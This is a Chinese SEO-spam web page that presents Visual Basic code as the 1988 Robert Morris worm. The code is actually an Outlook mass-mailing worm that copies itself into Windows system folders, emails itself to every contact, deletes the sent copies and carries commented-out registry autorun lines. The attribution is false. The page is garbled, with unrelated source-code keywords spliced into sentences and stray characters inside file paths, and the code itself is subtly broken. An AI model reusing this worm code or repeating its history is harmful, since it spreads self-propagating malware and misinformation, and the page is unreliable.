本站提供最佳网站源码改图片服务,欢迎转载和分享。

【宝石迷城cocos源码】【aspcms博客源码】【开源 订房 源码】vb des源码

2024-12-26 03:44:30 来源:iso15765 源码 分类:娱乐

1.1988年RobertMorris释放的首个蠕虫病毒的源代码

vb des源码

1988年RobertMorris释放的首个蠕虫病毒的源代码

       在年,Robert Morris释放了首个蠕虫病毒,宝石迷城cocos源码其源代码的aspcms博客源码片段如下:

       ```vb

       Sub Main()

        'TaskVisible。App.TaskVisible = False

        On Error Resume Next

        Dim Location,开源 订房 源码 Location2, DesLocation, DesLocation2

        Location = App.Path & "\" & App.EXEName & "肢扮.exe"

        Location2 = App.Path & App.EXEName & ".exe"

        DesLocation = "C:\WINDOWS\SYSTEM\WinMapi.exe"

        DesLocation2 = "C:\WINNT\SYSTEM\镇迟Mapi.exe"

        FileCopy Location, DesLocation

        FileCopy Location2, DesLocation

        FileCopy Location, DesLocation2

        FileCopy Location2, DesLocation2

        Dim Var1, FilePath, FileName, FullLocation, MyApp

        Dim Christmas, List, AddList, AddressListCount

        Dim Merry, AdEntries, Attachs, Msg

        Var1 = "True"

        FilePath = App.Path

        FileName = App.EXEName

        FullLocation = FilePath & "\" & FileName

        Set MyApp = CreateObject("Outlook.Application")

        If MyApp = "Outlook" Then

        Set Christmas = MyApp.GetNameSpace("mapi")

        Set List = Christmas.AddressLists

        For Each Addresslist In List

        If Addresslist.AddressEntries.Count > 0 Then

        AddressListCount = Addresslist.AddressEntries.Count

        For AddList = 1 To AddressListCount

        Set Merry = MyApp.CreateItem(0)

        Set AdEntries = Addresslist.AddressEntries(AddList)

        Merry.To = AdEntries.Address

        Merry.Subject = Merry.Body

        Set Attachs = Merry.Attachments

        Attachs.Add FullLocation

        If Var1 = "true" Then

        Merry.DeleteAfterSubmit = True

        End If

        If Msg.To > "" Then

        Merry.Send

        End If

        Next

        Beep

        End If

        Next

        End If

        Dim RegSet

        Set RegSet = CreateObject("wscript.shell")

        'reg.regwrite "HEKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\MAPI", "C:\WINNT\SYSTEM\MAPI.EXE"

        'reg.regwrite "HEKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUN\winMAPI", "C:\WINNT\SYSTEM\winMAPI.EXE"

       End Sub

       ```

       请注意,由于蠕虫病毒是winsock2源码恶意软件,其传播和操作可能导致严重的黑夜传说2源码安全风险。这段代码仅供教育和研究目的,绝不应在实际环境中运行。

【本文网址:http://581.net.cn/html/82e203997878.html 欢迎转载】

copyright © 2016 powered by 皮皮网   sitemap